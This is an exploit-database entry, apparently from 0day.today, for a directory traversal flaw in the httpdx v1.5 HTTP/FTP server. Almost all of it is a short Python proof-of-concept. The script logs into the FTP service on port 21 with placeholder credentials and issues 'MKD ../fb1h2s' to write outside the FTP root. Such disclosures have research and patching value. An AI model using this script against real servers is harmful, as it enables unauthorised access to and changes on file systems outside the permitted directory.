httpdx - ultralight http/ftp server directory Traversal

2010-02-15T00:00:00
ID 1337DAY-ID-10909
Type zdt
Reporter FB1H2S
Modified 2010-02-15T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            =======================================================
httpdx - ultralight http/ftp server directory Traversal
=======================================================

# Exploit Title: httpdx - ultralight http/ftp server directory Traversal
# Date: 14/2/2010
# Author: FB1H2S
# Software Link: http://sourceforge.net/projects/httpdx/
# Version: v1.5
# Tested on: WIN XP2
# CVE : [if exists]
# Code : Attached
 
#!/usr/bin/python
import socket
import sys
hostname='localhost'
username='admin'
passwd='password'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((hostname, 21))
except:
    print ("Connection error!")
    sys.exit(1)
r=sock.recv(1024)
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
# The FTP root is example.com we could move down the root directory
sock.send("MKD ../fb1h2s\r\n")
sock.close()
sys.exit(0);



#  0day.today [2018-01-01]  #